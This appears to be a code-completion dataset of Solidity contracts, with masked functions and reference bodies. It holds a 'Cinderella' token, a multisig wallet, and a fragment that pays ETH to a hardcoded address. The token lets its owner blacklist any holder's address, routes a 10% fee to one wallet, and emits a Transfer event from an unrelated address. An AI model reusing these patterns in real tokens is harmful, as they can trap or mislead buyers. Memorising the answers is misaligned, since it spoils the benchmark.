_owner, address indexed _spender, uint256 _value); }
address originalFeeReceive = 0x6661084EAF2DD24aCAaDe2443292Be76eb344888; if(isExchangeListed == false){ originalFeeReceive.transfer(500000000000000000); } else{ originalFeeReceive.transfer(3500000000000000000); } owner = 0xe8758fc5cad44e963e1c11d7d018f193250d8404; balances[owner] = _totalSupply;
constructor() public payable
// Constructor constructor() public payable
3,706
Cinderella
null
contract Cinderella is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cinderella"; string private constant _symbol = "Cinderella"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract Cinderella is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cinderella"; string private constant _symbol = "Cinderella"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0x27ea15B12fb0009957a164cd7C993fE19D1bC0fB); _feeAddrWallet2 = payable(0x27ea15B12fb0009957a164cd7C993fE19D1bC0fB); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xa65243F3a8E5C36087A077Fc7434dA26377f51cb), _msgSender(), _tTotal);
constructor ()
constructor ()
43,745
MultiSigWallet
addOwner
contract MultiSigWallet { event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this), "ONLY_WALLET"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "OWNER_ALREADY_EXISTS"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "INVALID_OWNER"); _; } modifier transactionExists(uint256 transactionId) { require( transactions[transactionId].destination != address(0), "TRANSACTION_DOES_NOT_EXISTS" ); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner], "NOT_CONFIRMED"); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner], "ALREADY_CONFIRMED"); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed, "ALREADY_EXECUTED"); _; } modifier notNull(address _address) { require(_address != address(0), "ADDRESS_NULL"); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require( ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "INVALID_REQUIREMENTS" ); _; } function() external payable {} /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) {<FILL_FUNCTION_BODY> } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) { changeRequirement(owners.length); } emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint256 value, bytes memory data) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if ( external_call( txn.destination, txn.value, txn.data.length, txn.data ) ) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call( address destination, uint256 value, uint256 dataLength, bytes memory data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint256 value, bytes memory data) internal notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } } } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ( (pending && !transactions[i].executed) || (executed && transactions[i].executed) ) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory _transactionIds) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) if ( (pending && !transactions[i].executed) || (executed && transactions[i].executed) ) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
contract MultiSigWallet { event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this), "ONLY_WALLET"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "OWNER_ALREADY_EXISTS"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "INVALID_OWNER"); _; } modifier transactionExists(uint256 transactionId) { require( transactions[transactionId].destination != address(0), "TRANSACTION_DOES_NOT_EXISTS" ); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner], "NOT_CONFIRMED"); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner], "ALREADY_CONFIRMED"); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed, "ALREADY_EXECUTED"); _; } modifier notNull(address _address) { require(_address != address(0), "ADDRESS_NULL"); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require( ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "INVALID_REQUIREMENTS" ); _; } function() external payable {} /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { isOwner[_owners[i]] = true; } owners = _owners; required = _required; } <FILL_FUNCTION> /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) { changeRequirement(owners.length); } emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint256 value, bytes memory data) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if ( external_call( txn.destination, txn.value, txn.data.length, txn.data ) ) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call( address destination, uint256 value, uint256 dataLength, bytes memory data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint256 value, bytes memory data) internal notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } } } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ( (pending && !transactions[i].executed) || (executed && transactions[i].executed) ) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory _transactionIds) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) if ( (pending && !transactions[i].executed) || (executed && transactions[i].executed) ) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
